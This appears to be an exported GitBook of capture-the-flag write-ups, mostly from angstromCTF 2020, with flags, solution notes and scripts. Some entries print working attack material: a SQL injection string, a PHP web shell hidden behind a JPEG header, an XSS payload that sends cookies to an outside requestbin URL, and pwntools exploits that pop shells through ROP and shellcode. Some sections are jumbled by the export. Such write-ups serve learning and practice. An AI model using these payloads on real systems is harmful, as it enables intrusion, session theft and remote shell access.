arrow-left

All pages
gitbookPowered by GitBook
triangle-exclamation
Couldn't generate the PDF for 510 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Angstrom

Just Rust

Have a bit of an experiment The input is broken down into 4 chunks of 8 Imagine the output like a grid The first character is converted to binary and written to the grid like a diagonal line, with the lsb at the top. For the next character the line is shifted to the right one, and so on until all characters in the chunk have been written. This repeats for the next 3 chunks, except instead of 1, the numbers 2, 4 and 8 are written instead After the string is written 40 is added to all squares and it is converted to ascii. To solve, unconvert, subtract 40 and reverse the process gg, beat woak

hashtag
actf{b1gg3r_4nd_b4dd3r_l4ngu4g3}

Low-kee

All we had to find was a'/a and apply it on b'wb to get a'b'wba to get our solution but reversing it to achieve fewest moves. i did a'waw' to find the differences between the 2 scrambles. luckily only corners were affected so i can take less time. i then analysed the movement of corners swaps of w and represented them in Old Pochmann notation: ANTXPDGJ afterwards i mapped out the corner swaps of a'wa also represented in Old Pochmann notation: AMPHFNLO then i got a sheet of paper and mapped out a'wa corner pieces onto the corner swaps of w to find the setup move (a = B U B U D' F' L2 F U2 L2 U' L2 D F2 U2 F2 U' B2). After filling the cube corners out i plugged it into the rubiks cube solver to get a. i applied it onto b'wb and then plug it into the rubiks cube solver again and reverse the solution to get the flag.

Secret Agents

Add

' OR 1=1 ORDER BY name LIMIT 1#

bam ez flag

windows of opportunity

rabin -z windows_of_opportunity.exe

hashtag
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

Git Good

/.git/index
/./git/thisistheflag.txt
"The flag was here"
  • Clone git repo

  • Git clone https://gitgood.2020.chall.actf.co/.git/arrow-up-right

  • Find the commit logs at /.git/logs/HEAD

  • Get the Sha-1 hash of the first log

  • Git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5

  • (Switches to that version of the repo)

  • Cat thisistheflag.txt

    actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

Califrobnication

./califrobnication > ~/file & echo $! | date on shell server

This will give you an exact timestamp and an approximate PID Next run following command locally, with a flag.txt file of length 49

date +%s -s @<UNIX TIMESTAMP HERE> ;sudo echo <PID-2 HERE> > /proc/sys/kernel/ns_last_pid; ./califrobnication | hd

You will get a number of different outputs Look for one that has the last letter of flag.txt xor'ed in the same place as the } xor'ed was on the shell Dexor Reassemble the flag GG;No re

hashtag
actf{dream_of_califrobnication_1f6d458091cad25}

Confused Streaming

nc crypto.2020.chall.actf.co 20601
a: 1
b: 33
c: 7

Returns:

01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101

Converts to get:

hashtag
actf{down_to_the_decimal}

Defund's Crypt

hashtag
actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}

Reasonably Secure Algorithm

With an n value this small, it can be quite easily cracked. I used RsaCtfTool (git clone ), with the command:

hashtag
actf{10minutes}

WS3

  • http.request.method == GET on wireshark

  • Export Objects > HTTP > git-receive-pack

  • Create a new git repo

No canary

Use r2 to find address of flag function, 0x00401186 Find buffer length needed.

Place in the git repo

  • Open in hex editor and fix the file header to be just 'PACK' at the beginning (remove all the crap)

  • Now git unpack-objects < git-receive-pack

  • Navigate to objects folder, here there are 3 git objects:

    • a commit

    • a tree file

    • a blob file

  • Decompress the zlib blob file with: python -c "import zlib; print zlib.decompress(open('3f47cbcb3ad8e946d0aad59259bdb1bc9e63f2').read());" > flag.jpg

  • Open the file up in a hex editor and remove the first few bytes so the header is a jpeg header

  • Open it up for the flag

    actf{git_good_git_wireshark-123323}

  • Discrete Superlog

    Found this https://repl.it/repls/BarrenIdealLoopfusionarrow-up-right repl.it on this https://stackoverflow.com/questions/30713648/how-to-compute-ab-mod-marrow-up-right stack overflow, adjusted to this https://repl.it/repls/CompassionateForkedUnderstandingarrow-up-right and used x function to manually calculate values

    ÿØÿà JFIF  
    <?php
    system("cat /flag.txt");
    ?>
    python RsaCtfTool.py -n 126390312099294739294606157407778835887 -e 65537 --uncipher 13612260682947644362892911986815626931
    https://github.com/Ganapati/RsaCtfToolarrow-up-right
    nc shell.actf.co 20700 | python -c 'print("A"*40+"\x86\x11\x40\x00\x00\x00\x00\x00")'

    Shifter

    import socket
    import re
    fibo = [0, 1, 1, 2, 3, 5, 8, 13, 21, 8, 3, 11, 14, 25, 13, 12, 25, 11, 10, 21, 5, 0, 5, 5, 10, 15, 25, 14, 13, 1, 14, 15, 3, 18, 21, 13, 8, 21, 3, 24, 1, 25, 0, 25, 25, 24, 23, 21, 18, 13]
    def fibshift(num, msg):
        list1 = [chr(ord(i)+fibo[num]) for i in msg]
        list2 = [chr(ord(j)-26) if ord(j)>90 else j for j in list1]
        return "".join(list2)
    clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    clientsocket.connect(('misc.2020.chall.actf.co', 20300))
    for i in range(0, 50):
        message = clientsocket.recv(2048)
        task = [k for k in message.splitlines() if "Shift" in k][0]
        clientsocket.send(fibshift(int(re.search('by n=(.*)', task).group(1)), re.search('Shift (.*) by', task).group(1)) + "\n")
    print(clientsocket.recv(2048))

    hashtag
    actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

    Xmas Still Stands

    <img src=x onerror=fetch("requestbinurl?cookie="+document.cookie)>

    Report that, bam ez

    Noisy

    So i averaged the first 10 nums and gave it a number as well as add 0.5 (to reverse what the source did) this gave me binary and i replaced it with values from source. i shoved it into a morse code decoder to get a pattern and then brute forced the flag by guessing what the letters could be

    clam clam clam

    type "clamclam" for salvation

    type "clamclam"

    hashtag
    actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}

    PSK

    Used DigiPan to decode the PSK31 signals

    hashtag
    actf{hamhamhamhamham}

    nc misc.2020.chall.actf.co 20204 | more

    Inputter

    Look at the source code, gives you the arguments that you need to put into the program, and what you must type in the buffer. They are unprintable characters, so use a python script to run it

    from PIL import Image
    temp = 0
    im = Image.open('breathe.jpg', 'r')
    im2 = Image.open('output.png', 'r')
    pix_val = list(im.getdata())
    pix_val2 = list(im2.getdata())
    flag = []
    pix_list = zip([x for sets in pix_val for x in sets], [x for sets in pix_val2 for x in sets])
    for i in pix_list:
        if len(str(i[1])) < len(str(i[0])):
            temp *= 10
        elif i[1] == 255:
            temp *= 10
        else:
            temp = (temp*10)+int(str(i[1])[0])
        if len(str(temp)) == 3:
            flag.append(chr(temp))
            temp = 0
        elif len(str(temp)) == 2 and temp != 11 and temp != 12 and temp != 10:
            flag.append(chr(temp))
            temp = 0
    print("".join(flag))

    hashtag
    actf{inhale_exhale_ezpz-12309biggyhaby}

    import numpy as np
    from random import gauss
    import math
    
    out2 = "100100101101000011011011000010100001010000001101011011000011010010010110110000101000010101000010111100001101000011011011000111100001010000101101010011000011010000110100110000100000010101000010101100001101000011011011000010100001010100000111011011001010010001110110110000101100110101000010101100001101000011011011000010100001010100001101011011000011010000110110110000100000010101000010101100000011100011111011000010000001010100001101011011000011010100110110110000101000010101010010111100001100000011011110000010100011010100001101011011001011110000010110110000101000010101000010101100011101000011011011000010100001010110001100011011000011010100111010110001101000010101000010101100001101000011011011000010100001010110001101011011000011010000110110111010101010010101000010101110001101000011010011000010100001010100001101011011000011010000110100110000101000010101000010101100001101000011011011000010100001010100001111011011100011010000101110110000101000010101000010101100001101000011011011000010100011010100101101011011000011110000110100010000111000010101000010101000001101010011011011000010100000010100000101011011000011010000110110110000101000010101000010101000001101000011011011000010100001010100001101011011000011010000110110110000101000010101000110101100001101010011011111000010100001010100001101011011000001110000110110110000101001010101001010101100001001001011011010000010100001010101001101011111000011010100010110110000101000010101000010101100001101000011011011001010000000010100001101011011000011010000110110110000101000010101000010101100001101100011011011010000110001010000001101011011000011010000110110110000101000010101001011101100001101000011011010000010100001010101001001011011000011011000110110010000101001010101000010101100001111000011011011000010110001010100101101011011000011010000110110111000101000010100000010101100001101010011011011000010100001010100001101011011000011011000110110110001101000011101001010101100001001000011011011000010100010010100001101011011000011010000110100100000101000010101000010111100001101000111011011000010100001010100001101011001000011010000110110110000101000110101000000101100001101010011011011001010101001010100001101111011000011010000110110110000101000010111000010101100001101000011011011000010100001010100011101011011000011010001110110100000101000010101000010101100001101000011011011000010100101010100001101011011000011010000110110110000101000000101000010101110001101000011011111000110100001010100001101011011000011010000110110110000001000011000000110101100000101000011011011000010100001010100000101011011000011010100110110110000101001010100001010101100001101000011011001000010101011010100001101011111000011010000110010110000101000010101000010100100001101000011011011001010100001010100001101011111000011010000110110100000101010000101000010101100001101000011111011000000110001011100001111011011000011010000011110110000101000010101000010"
    out = []
    out2 = ""
    with open("flag.txt","r") as f:
        cont = f.read().split("\n")
        sums = 0
    
        for i,num in enumerate(cont):
            sums += float(num)
            sums += float(cont[i+14400])
            if (i + 1)%10 == 0:
                out.append(sums/20+0.5)
                sums = 0
            if i == 14399:
                break
    
    for i in out:
        a = round(i)
        if a < 0:
            a = 0
        if a > 1:
            a = 1
    
        out2 = out2 + str(a)
    
    print(out2)    
    
    """
    10010-11012010000110110110000101000010100000011010110120000110100100101101100002010-10010101000010111100002102000011-111011000111100001010000101101020011000011010000210100110000100000010101000-110101100-102201000011011-111-1-100101000-110201000-101120120110010200100011101101100002011001101020000101011000-111010000120110210000101000010101000011010110110000110100001101101100001000000101-110000101011000000111000121110110000100000010101-10001101-111011000011-1101001101101100-101010-100101-1101001011120000110000-1-111011110000-11010001101010000110201102100101111000001011011000-1101000-11010100-1010101100012101-100011011012000020100001010110001100011011000011-11010-1111020110-10110100001010100001-1101100001101000011011011000010100001010110001102021011000-1110100-1011011011101010101001010100001010111-10-1210100001101001100001-110000101010000110101101100-1011010000110100110000101000010101-1000201011000011-11-1000110110110000101000010101000011110120121000110100-1010122011000-11010-10020101000-1101011000011-1100-1011011011000010100011010100101101011011000011110000110100020000111000010101000-1102010000011010100110110110000101000000101000001010110110-10011-11000011011011000010100001010100001010100-1001101000011011011000010100001-1101-1000110101101100001101000011021011-10-1010100001010100011-1101100001101010011011111-10-1010100001010100001101011-111000001120000110110110000101001010101001010101100002001001011021010000010100001010101001101011111000012010100010110110000101000010101-1000101012000011010-10-11101101100101000000001010000110102101100001101000011011011-100-110100002010100001010110000110110001101101101-1000110001010000-1011010110110000110100001201101100001010000101010010111011-10-10110100001101102000-1-110100001010101001001011-1110000110110001101100100001010010101010000101011000011110000110110120000101100020101001011010110110000110100001101101110002010000102-1000002010110000110101001101101100001010000101010000210101101100001202100011011011000110100001110200101010110000100100001101101100001-11000100101000012010110110000110100002101001000001010000101010000101111000011010001110110110-1001010000101010000110101100100001101-1000110110110000101-1001101-110-10000201100001101010011021-111001010101001010100001101111011000011-1100001101101100002010000101110000101011000011010000110110110000101-1000101010001120101101100001101-10011101101000-10101000010101000010101100001101-100011022011000010100101010100001101021021000011-11000011011011-100020100000-1101000010101110001101000-121011111000110100002010100001101011011000011010000110110110000001000011000000110101100000101000011011011-1000101000020101000-10101011011-1-100110101002101101100001010010201000010101-11100001101000011011001000010101011-11010000210101111100001101000011001011-1000101000010101000010100200001101000-121011011001010100001010100001101021111000-11101000011011010-10001010100001010-10010101100001101000011111011000000110-10101110-1-10111102102100001101000001111011000010100001010100001-1"""
    print(len(out2))
    
    out3 = out2
    out4 = out3.replace("110","-")
    out4 = out4.replace("000"," ")
    out4 = out4.replace("10",".")
    #out4 = out4.replace("00","")
    out4 = out4.replace("0","")
    out4 = out4.replace("1",".")
    print("---------")
    print(out4)
    input()

    Consolation

    In console:

    Flag will appear in console

    hashtag
    actf{you_would_n0t_beli3ve_your_eyes}

    Taking Off

    Found arguments were 3 numbers 0-9 and "chicken" Although not meant to I brute forced it with this python script:

    String "ZFOKYO\nMC\O\nLFKM" seen in memory About where the password is compared XOR it with the key 2a to get 'please give flag' with newlines removed.

    for(i=0; 1 < 9999; i++){nofret()}
    import itertools
    import os
    
    nums = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
    for c in itertools.product(nums, repeat=3):
        args = "(echo " + str(c[0]) + "; echo " + str(c[1]) + "; echo " + str(c[0]) + ") | ./taking_off"
        args = "./taking_off " + str(c[0]) + " " + str(c[1]) + " " + str(c[2]) + " chicken"
        print(args)
        os.system(args)

    Signal_of_hope

    Open program in cutter and disassemble main

    call    signal     ; sym.imp.signal ; void signal(int sig, void *func)

    Looking at "linux 7 signal" - we see a load, so I bruteforced them all until one worked - found it was SIGABRT This means that we need to kill the program , or abort it Spinning it up on the shell, we have to do

    sh -c 'echo $$; exec myCommand'

    Which gives up the PID of the program and then runs it Open up a new shell, and do "kill -6 PID" Bam!

    hashtag
    actf{h0p3_c4nn0t_m3nd_th3_p41n_th4t_y0uv3_c4us3d_m3}

    Revving up

    Go to the place where the file is and run it, then it asks you to do it with banana as an argument, then do ./revving_up "banana" and do what it says

    hashtag
    actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

    One Time Bad

    Run the server script at same time as nc Use sample to make sure randomness is same On local pick option 2 and get wrong to receive answer ^C ^V into netcat gg

    hashtag
    actf{one_time_pad_more_like_i_dont_like_crypto-1982309}

    Exodia

    XOR with key THEFORBIDDENONE

    hashtag
    Flag: flag{exodia_knows_xor_but_you_are_even_more_powerful}

    bsidesBOS

    Cryptography

    Wooosh

    Deobfuscate all the code and after finding this line

    socket['emit']('click', coords[0x0], coords[0x1]);

    This sends a post that'll send mouse coords. after i messed around a bit i realised that the shapes coords are different from the one they send to you so i guess something happens with them (not sure what tho). i then analysed the thingies going on in network which was always in the pattern start [get shapes, send coords, get score] and found the code to find mouse coords (see deobfuscated js) was consistent with where the shapes are displayed. after that i looked at the code that draws out the shapes with the coord and figured out how it knows whether to draw a circle or square. which was:

    function drawShapes() {
        ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
        shapes['map'](
            (_0x401a13,_0x53031c)=>_0x53031c ? ctx["fillRect"](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) 
            : ctx['beginPath']() + ctx["arc"](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]()
            );

    If you know a little js, it chooses the first element of the shapes list to be a circle and the rest are squares. after that i checked whether the shapes list matches the shapes list going in through the network and found they were different. The shapes list was correct and matched the coords of the circle and after analysing a thingy that sends my mouse coords, they were roughly the same which meant i could create the payload

    socket['emit']('click', shapes[0].x, shapes[0].y);

    Spam it through console when i press start which gave me points :) and then i got the flag (turns out i didnt need the backend source code lol)

    hashtag
    actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}

    Patches

    The binary comes with a libc and ld. As the title, description and even text of the binary suggests, the libc is patched. I patched the ELF file so that it would always run with this ld and libc, even on my local end.

    patchelf --set-rpath './' ./patches
    patchelf --set-interpreter './ld-2.27.so' ./patches

    The binary prints some stuff using puts, calls printf("> ") and then calls gets on rbp-0x80.

    This creates a buffer overflow. With NX on this time, it'll be a little more difficult. We can execute a classic ret2plt attack, retting into puts@plt(no PIE) to print out puts@got, creating a libc leak. Things are a little harder as the libc is patched. There's no /bin/sh in it, presumably the system doesn't work properly. We talked about this in the Statics and Dynamics writeup from HacktivityCon CTF - with so much code, libc is a ROP gadget gold mine. So once we've used ret2plt to leak the libc base, we can just use ROP to build a chain that uses syscalls to pop a shell.

    Note that due to stack alignment we'll need to use a return gadget before returning back into main, and also I chose the instruction at 0x40123c(which is part of main) for convenience.

    We can use the pwntools ROP functionality to build a nice and simple ROP chain that reads data into a writeable section, then uses execve(execve(section,NULL,NULL) specifically). Afterwards, we'll send /bin/sh which will get written to said writeable section, thus the total payload will pop a shell.

    hashtag
    Flag: flag{no_one_gadget_this_time_wait_no_binsh_at_all?}

    Sea Shells

    The binary prints the address of our input, then uses read to read input into it. There's 16 bytes of buffer overflow, letting us overwrite rbp and the return address only. As NX is off and our input is on the stack, we can just set the return address to our input, and then put shellcode in our input. After popping a shell, we cat flag.txt to get the flag.

    hashtag
    Flag: flag{popping_shells_by_the_sea_shore}

    from pwn import *
    NUM_TO_RBP = 0x80
    fakestack = 0x404500
    padding = b'A'*NUM_TO_RBP + p64(fakestack)
    context.arch = 'amd64'
    e = ELF("./patches")
    libc = e.libc
    p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
    p.recvuntil('> ')
    rop = ROP(e)
    #ret2plt libc leak
    poprdi = rop.find_gadget(['pop rdi','ret']).address
    retgadget = rop.find_gadget(['ret']).address
    chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
    pause()
    p.sendline(padding + chain)
    leak = p.recvline()[:-1].ljust(8,b'\x00')
    puts = u64(leak)
    log.info(f"Libc leak: {hex(puts)}")
    libcbase = puts - libc.symbols['puts']
    libc.address = libcbase
    log.info(f"Libc base: {hex(libcbase)}")
    # Build rop chain to read into RW section, then execve
    rop2 = ROP(libc)
    rop2.read(0,0x404300,8)
    rop2.execve(0x404300,0,0)
    payload = padding + rop2.chain()
    p.sendline(payload)
    p.send(b'/bin/sh\x00')
    p.interactive()
    from pwn import *
    context.arch = 'amd64'
    e = ELF("./seashells")
    p = e.process() if args.LOCAL else remote('challenge.ctf.games', 32134)
    addr = int(p.recvline(),16)
    p.recvuntil(":")
    sc = asm(shellcraft.amd64.linux.sh())
    payload = fit({0: sc, 0x88: addr})
    p.sendline(payload)
    p.interactive()
    var _0x1ce0 = ['bWFw', 'SlBOcFY=', 'a1dQd2M=', 'Z2V0Q29udGV4dA==', 'SkxnSXA=', 'Y2xvc2VQYXRo', 'Y0dhbWU=', 'Y291bnRlcg==', 'Z2V0Qm91bmRpbmdDbGllbnRSZWN0', 'c3RhdGVPYmplY3Q=', 'QmZDSk0=', 'WVlOdEU=', 'ZmlsbA==', 'TWZhRHU=', 'c3BsaXQ=', 'TnNndkw=', 'd2Fybg==', 'ck9ZWHg=', 'UnNGSFI=', 'b3dsQnU=', 'RkRCaGY=', 'eERtaWc=', 'cVZyYms=', 'dEtxZXQ=', 'YllhZFQ=', 'UVJWcVA=', 'eFJkWUM=', 'QUdRZnU=', 'UUR3cHc=', 'Tk9Cam4=', 'bUJ2QU8=', 'Z2V0RWxlbWVudEJ5SWQ=', 'Y2xpZW50WA==', 'bGVuZ3Ro', 'ZXhjZXB0aW9u', 'TmhncEI=', 'Q1VnV20=', 'QlFQYVI=', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'Y29uc3RydWN0b3I=', 'YmVnaW5QYXRo', 'YUpBbHU=', 'aW5pdA==', 'Y1h0TGY=', 'cHh0Q2Y=', 'XCtcKyAqKD86W2EtekEtWl8kXVswLTlhLXpBLVpfJF0qKQ==', 'ZXd3YUE=', 'ZGlzY29ubmVjdA==', 'SUp4T0w=', 'QmlRb1Y=', 'cmV0dXJuIC8iICsgdGhpcyArICIv', 'S09Bd1E=', 'V0ZtVHQ=', 'bmF0Qm8=', 'dlFSdEU=', 'I2ZmMDAwMA==', 'Y29uc29sZQ==', 'VEJXUWk=', 'SGl0bEI=', 'ZW95Y1g=', 'YWF0U24=', 'UU5Pc3I=', 'a2ZPREk=', 'UkhqWGU=', 'ZGVidWc=', 'QlZnUEI=', 'bENjSEo=', 'cFhQRkw=', 'bnBLSEU=', 'ZXJyb3I=', 'e30uY29uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=', 'Y2FsbA==', 'T2ROVEE=', 'dG9w', 'b2Jlemg=', 'U1dvS0Y=', 'c2hhcGVz', 'eXRJbkE=', 'Y3NheFE=', 'ZnVuY3Rpb24gKlwoICpcKQ==', 'bG9n', 'V3ZJQ3o=', 'anhGSm8=', 'YXhFRW8=', 'cGVKYlY=', 'WFZRU1A=', 'REdEcUU=', 'dGFibGU=', 'bnlmTlc=', 'dkJmanI=', 'd3lJVVA=', 'Y2xpY2s=', 'UXJYaGo=', 'ZFVoano=', 'cmV0dXJuIChmdW5jdGlvbigpIA==', 'XihbXiBdKyggK1teIF0rKSspK1teIF19', 'QURlbWk=', 'VEpEWmk=', 'VWRBTFo=', 'WWpXaXI=', 'elFyalM=', 'Mnw1fDl8OHwxfDZ8N3wwfDR8Mw==', 'aW5wdXQ=', 'd2hpbGUgKHRydWUpIHt9', 'QWZBT1M=', 'WmZNeFc=', 'dHJhY2U=', 'RVBublU=', 'Z2dlcg==', 'UEtrQmg=', 'Y2xlYXJSZWN0', 'YXJj', 'dGVzdA==', 'c2NvcmU=', 'bktJanY=', 'Y2hhaW4=', 'Q2Z1V0o=', 'U2NvcmU6IA==', 'SlV0dVY=', 'ZmlsbFN0eWxl', 'YlN0YXJ0', 'aW5GREs=', 'SERnSEY=', 'VlN0TG8=', 'ZmlsbFJlY3Q=', 'WHhaaXc=', 'c3RhcnQ=', 'YXBwbHk=', 'NHwxfDV8N3w2fDN8Mnww', 'ZGVidQ==', 'ZW1pdA==', 'RUpoc08=', 'enFVUWo=', 'ZldOVGs=', 'V0ZibmY=', 'aW5mbw=='];
    (function(_0x20cc64, _0x1ce09b) {//cookie stuff 
        var _0x34d7a6 = function(_0x45c586) {
            while (--_0x45c586) {
                _0x20cc64['push'](_0x20cc64['shift']());
            }
        };
        var _0x59c786 = function() {
            var _0x2ee600 = {
                'data': {
                    'key': 'cookie',
                    'value': 'timeout'
                },
                'setCookie': function(_0x1baf97, _0x584a1c, _0x27dfce, _0x2f47ff) {
                    _0x2f47ff = _0x2f47ff || {};
                    var _0x3cdb63 = _0x584a1c + '=' + _0x27dfce;
                    var _0x3ab829 = 0x0;
                    for (var _0x30b65a = 0x0, _0x2024f0 = _0x1baf97['length']; _0x30b65a < _0x2024f0; _0x30b65a++) {
                        var _0x1e37b5 = _0x1baf97[_0x30b65a];
                        _0x3cdb63 += ';\x20' + _0x1e37b5;
                        var _0x1dca17 = _0x1baf97[_0x1e37b5];
                        _0x1baf97['push'](_0x1dca17);
                        _0x2024f0 = _0x1baf97['length'];
                        if (_0x1dca17 !== !![]) {
                            _0x3cdb63 += '=' + _0x1dca17;
                        }
                    }
                    _0x2f47ff['cookie'] = _0x3cdb63;
                },
                'removeCookie': function() {
                    return 'dev';
                },
                'getCookie': function(_0x3962bf, _0x49db25) {
                    _0x3962bf = _0x3962bf || function(_0x506876) {
                        return _0x506876;
                    }
                    ;
                    var _0x3b872e = _0x3962bf(new RegExp('(?:^|;\x20)' + _0x49db25['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                    var _0x21d4b7 = function(_0xaa6690, _0x5f084e) {
                        _0xaa6690(++_0x5f084e);
                    };
                    _0x21d4b7(_0x34d7a6, _0x1ce09b);
                    return _0x3b872e ? decodeURIComponent(_0x3b872e[0x1]) : undefined;
                }
            };
            var _0x37cabe = function() {
                var _0x27a400 = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
                return _0x27a400['test'](_0x2ee600['removeCookie']['toString']());
            };
            _0x2ee600['updateCookie'] = _0x37cabe;
            var _0xc4302b = '';
            var _0x2d1069 = _0x2ee600['updateCookie']();
            if (!_0x2d1069) {
                _0x2ee600['setCookie'](['*'], 'counter', 0x1);
            } else if (_0x2d1069) {
                _0xc4302b = _0x2ee600['getCookie'](null, 'counter');
            } else {
                _0x2ee600['removeCookie']();
            }
        };
        _0x59c786();
    }(_0x1ce0, 0xed));
    var _0x34d7 = function(_0x20cc64, _0x1ce09b) {
        _0x20cc64 = _0x20cc64 - 0x0;
        var _0x34d7a6 = _0x1ce0[_0x20cc64];
        if (_0x34d7['ptmszC'] === undefined) {//ignore this below, values are decoded b64 from _0x1ce0. if statement checks if the values have been decoded already
            (function() {
                var _0x45c586 = function() {
                    var _0xc4302b;
                    try {
                        _0xc4302b = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                    } catch (_0x2d1069) {
                        _0xc4302b = window;
                    }
                    return _0xc4302b;
                };
                var _0x2ee600 = _0x45c586();
                var _0x37cabe = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
                _0x2ee600['atob'] || (_0x2ee600['atob'] = function(_0x1baf97) {
                    var _0x584a1c = String(_0x1baf97)['replace'](/=+$/, '');
                    var _0x27dfce = '';
                    for (var _0x2f47ff = 0x0, _0x3cdb63, _0x3ab829, _0x30b65a = 0x0; _0x3ab829 = _0x584a1c['charAt'](_0x30b65a++); ~_0x3ab829 && (_0x3cdb63 = _0x2f47ff % 0x4 ? _0x3cdb63 * 0x40 + _0x3ab829 : _0x3ab829,
                    _0x2f47ff++ % 0x4) ? _0x27dfce += String['fromCharCode'](0xff & _0x3cdb63 >> (-0x2 * _0x2f47ff & 0x6)) : 0x0) {
                        _0x3ab829 = _0x37cabe['indexOf'](_0x3ab829);
                    }
                    return _0x27dfce;
                }
                );
            }());
            _0x34d7['pwjwqN'] = function(_0x2024f0) {
                var _0x1e37b5 = atob(_0x2024f0);
                var _0x1dca17 = [];
                for (var _0x3962bf = 0x0, _0x49db25 = _0x1e37b5['length']; _0x3962bf < _0x49db25; _0x3962bf++) {
                    _0x1dca17 += '%' + ('00' + _0x1e37b5['charCodeAt'](_0x3962bf)['toString'](0x10))['slice'](-0x2);
                }
                return decodeURIComponent(_0x1dca17);
            }
            ;
            _0x34d7['psiqcL'] = {};
            true = !![];
        }
        var _0x59c786 = _0x34d7['psiqcL'][_0x20cc64];
        if (_0x59c786 === undefined) {
            var _0x3b872e = function(_0x21d4b7) {
                this['FnKpUT'] = _0x21d4b7;
                this['dnpwlO'] = [0x1, 0x0, 0x0];
                this['xxqOHK'] = function() {
                    return 'newState';
                }
                ;
                this['UFWVYh'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
                this['okSRxK'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            _0x3b872e['prototype']['zRoycw'] = function() {
                var _0x506876 = new RegExp(this['UFWVYh'] + this['okSRxK']);
                var _0xaa6690 = _0x506876['test'](this['xxqOHK']['toString']()) ? --this['dnpwlO'][0x1] : --this['dnpwlO'][0x0];
                return this['wWoyOu'](_0xaa6690);
            }
            ;
            _0x3b872e['prototype']['wWoyOu'] = function(_0x5f084e) {
                if (!Boolean(~_0x5f084e)) {
                    return _0x5f084e;
                }
                return this['Mmnboh'](this['FnKpUT']);
            }
            ;
            _0x3b872e['prototype']['Mmnboh'] = function(_0x27a400) {
                for (var _0x4f73b9 = 0x0, _0x317d20 = this['dnpwlO']['length']; _0x4f73b9 < _0x317d20; _0x4f73b9++) {
                    this['dnpwlO']['push'](Math['round'](Math['random']()));
                    _0x317d20 = this['dnpwlO']['length'];
                }
                return _0x27a400(this['dnpwlO'][0x0]);
            }
            ;
            new _0x3b872e(_0x34d7)['zRoycw']();
            _0x34d7a6 = _0x34d7['pwjwqN'](_0x34d7a6);
            _0x34d7['psiqcL'][_0x20cc64] = _0x34d7a6;
        } else {
            _0x34d7a6 = _0x59c786;
        }
        return _0x34d7a6;
    };
    var _0x2f47ff = function() {
        var _0x34a890 = {
            'xDmig': function(_0x1acd1d, _0x50045b) {
                return _0x1acd1d === _0x50045b;
            },
            'FDBhf': "npKHE",
            'AWOLM': "while (true) {}",
            'RZUwZ': "counter",
            'eoycX': "QNOsr",
            'cXtLf': 'BuBbm'
        };
        var _0x418c8e = !![];
        return function(_0x28cb74, _0x39da2d) {
            var _0x22e999 = {
                'EPnnU': "while (true) {}",
                'ZfMxW': "counter"
            };
            if (false) {
                if (_0x39da2d) {
                    var _0xdc044d = _0x39da2d["apply"](_0x28cb74, arguments);
                    _0x39da2d = null;
                    return _0xdc044d;
                }
            } else {
                var _0x32fd69 = _0x418c8e ? function() {
                    if (true) {//this bit is the only part that runs
                        if (_0x39da2d) { //true
                            var _0x4f6b34 = _0x39da2d["apply"](_0x28cb74, arguments);
                            _0x39da2d = null;
                            return _0x4f6b34;
                        }
                    } else { //never executes
                        return function(_0x18294d) {}
                        ["constructor"]("while (true) {}")["apply"]("counter");
                    }
                }
                : function() {} //this never runs
                ;
                _0x418c8e = ![];
                return _0x32fd69;
            }
        }
        ;
    }();
    var _0x27dfce = _0x2f47ff(this, function() {
        var _0x4d850d = {
            'DGDqE': function(_0x3dac4c, _0xd908d4) {
                return _0x3dac4c === _0xd908d4;
            },
            'QRVqP': "JLgIp",
            'MfaDu': "return /" + this + "/",
            'axEEo': "^([^ ]+( +[^ ]+)+)+[^ ]}"
        };
        var _0x4104ec = function() {
            if (true) {
                var _0x1baf6d = _0x4104ec['constructor']("return /" + this + "/")()['compile']("^([^ ]+( +[^ ]+)+)+[^ ]}");
                return !_0x1baf6d["test"](_0x27dfce);
            } else { //never executes
                that['console'] = function(_0x54cc65) {
                    var _0x521582 = {};
